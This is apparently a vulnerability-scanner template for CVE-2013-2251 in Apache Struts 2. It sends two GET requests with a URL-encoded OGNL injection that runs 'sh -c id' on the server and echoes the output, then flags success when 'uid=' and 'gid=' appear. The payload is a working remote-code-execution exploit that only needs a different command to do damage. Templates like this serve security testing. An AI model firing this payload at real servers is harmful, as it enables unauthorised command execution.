id: CVE-2013-2251
info:
  name: Apache Struts 2 RCE
  risk: Critical

params:
  - root: '{{.BaseURL}}'

variables:
  - endpoint: |
      index.action
      login.action
requests:
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StatusCode() == 200 && StringSearch("body", "uid=") && StringSearch("body", "gid=")
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StatusCode() == 200 && StringSearch("body", "uid=") && StringSearch("body", "gid=")
references:
  - https://www.cvebase.com/cve/2013/2251